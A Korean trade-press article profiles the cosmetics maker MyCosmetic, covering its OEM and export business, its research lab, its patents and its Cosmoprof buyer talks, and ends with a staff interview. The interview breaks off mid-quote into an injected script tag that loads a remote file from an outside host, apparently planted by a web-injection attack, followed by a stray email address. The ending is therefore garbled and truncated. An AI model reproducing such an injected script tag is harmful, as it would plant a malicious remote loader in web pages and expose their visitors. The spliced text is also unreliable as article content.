마이코스메틱(대표이사 이재민)은 지난 97년 가인코스메틱으로 출발해 지난해 10월 마이코스메틱으로 사명을 변경해 OEM, 인터넷 맞춤화장품, 해외수출사업, 신방판 사업, 병원용 화장품 사업 등을 진행하며 나날이 성장하고 있다.
마이코스메틱은 여성의 미와 건강에 관한 최고의 상품과 정보제공을 통해 기업의 존재가치를 극대화시키고 있다. 또 화장품, 건강식품 등 각 개인별 맞춤상품만을 개발·공급해 소비자만족을 향상시키고 이를 통해 이윤을 창출, 기업가치를 추구하고 있다. 특히 온라인과 오프라인의 이상적 결합을 통해 기업의 안정적 경영기반을 구축하는 한편 기존의 화장품 마케팅 전략을 탈피해 독특한 독자모델구축으로 화장품사업의 새로운 영역을 개척하고 있다.
마이코스메틱은 OEM 산업을 통해 안정적인 매출구조를 달성하고 인터넷 사업으로 온라인을 통해 추가 매출을 거두고 있다. 인터넷 사업은 지난 99년 온라인에서 고기능성 1:1 맞춤화장품 사이트를 개발해 피부과 전문의, 피부과학자, 피부전문가 등 관련 전문가와 함께 ‘인터넷 진단 프로그램’과 고기능성 기초 및 색조화장품인 ‘고앤강(KOH&KANG)’을 개발 판매하고 있다. 또 병원을 대상으로 병원 사업을 벌이는 한편, 해외수출 사업으로 기초 및 색조제품을 수출하고 있다.
인천 남동공단에 자리잡고 있는 연구소에는 박사 2명을 포함해 12명의 연구원들이 신기술과 원료개발에 매진하고 있다. 또 산학협동에도 힘써 건국대와 신제형 공동 개발 프로젝트를 수행하고 있으며, 강원도 보건환경연구원과 공동으로 고기능성 신물질을 개발중이다.
이 대표이사는 “제품력만큼은 어느 회사에도 뒤지지 않을 자신이 있다”고 강조했다.
마이코스메틱은 지난해부터 무역부를 신설해 수출에도 전력을 기울이고 있다. 대만에서는 바비브라운이나 슈에무라보다 더 품질이 우수하다는 평을 받고 있을 정도. 또 미국에서도 제품력을 인정받아 수출 제의를 받고 있다.
이러한 탄탄한 기술력 뒤에는 끊임없는 연구 개발의 노력이 숨어있다. 50여명의 전 직원 중 12명이 연구원일 정도로 연구개발의 비중은 높은 것이다.
인천 남동공단에 자리잡고 있는 대지 2백 70평, 연건평 6백평 규모의 공장에 위치한 연구소는 지난해 부설 기술연구소가 국가 공인을 획득하는 등 기술력을 인정받고 있다.
이 연구소에서 폴리 블록 코폴리머를 안정화시킨 W.O.W 다중 에멀젼과 제조방법을 개발했으며 매실의 다알콜류 추출물을 함유한 화장품 조성물을 만들었다. 또 신기술, 신제형인 W.S 유화제형을 이용한 기능성 화장품 개발에도 성공했다. 천연식물성 오일을 친수성으로 개질해 물과 천연보습성분이 함유된 투명한 오일 화장품도 제조했다. 이같은 신기술은 고앤강 화장품과 병원용 화장품에 접목시킨 것은 물론, 현재 특허 출원 중이다.
마이코스메틱은 이런 우수한 기술력을 통해 세계 시장에서도 두각을 나타내고 있다. 이번 홍콩 코스모프로프에서는 9개 업체의 바이어와 진지한 상담이 있었으며 좋은 결과가 예상되고 있다. 이번에 상담한 국가는 호주, 태국, 러시아, 싱가폴, UAE, 중국, 케냐 등. 향수를 비롯해 메이크업, 용기, 벌크 등 다양한 제품군에서 마이코스메틱의 제품력을 인정받게 됐다. 이번에 상담 건으로 예상되는 매출만 해도 약 70만불.
마이코스메틱은 앞으로 끊임없이 연구 개발하고 수출 전선에 뛰어들어 메이드인코리아를 세계 전역에 알릴 당찬 각오를 가지고 있다.
INTERVIEW------------------------[마이코스메틱 무역부 장정화씨] 브랜드 중심의 수출 전략 편다
마이코스메틱은 올해부터 수출을 본격적으로 검토했다. 이미 내수시장이 포화상태이고 시장이 문란해 타개책을 해외에서 찾고자 한 것이다. 아직은 수출 초기라서 15만불을 수출목표로 잡고 있으며 내년에는 100만불 이상이 충분히 가능할 것으로 보고 있다.
“토대는 어느 정도 다져졌습니다. 그동안 꾸준하게 투자한 연구 개발 분야에서 좋은 결과물들이 나오고 있으며 해외에서도 바이어들과의 만남이 늘고 있습니다. 좋은 제품으로 좋은 바이어를 만나면 최고 아니겠어요? 마이코스메틱의 무역부 장정화씨는 이제 시작이라고 말한다. 국내에서는 이미 OEM을 통해 잘 알려졌지만 아직 세계 무대는 상대적으로 약한 편. 하지만 이제부터 본격적으로 해외 시장을 개척할 것이라고 강조한다.
“국내 제품은 중국이나 ?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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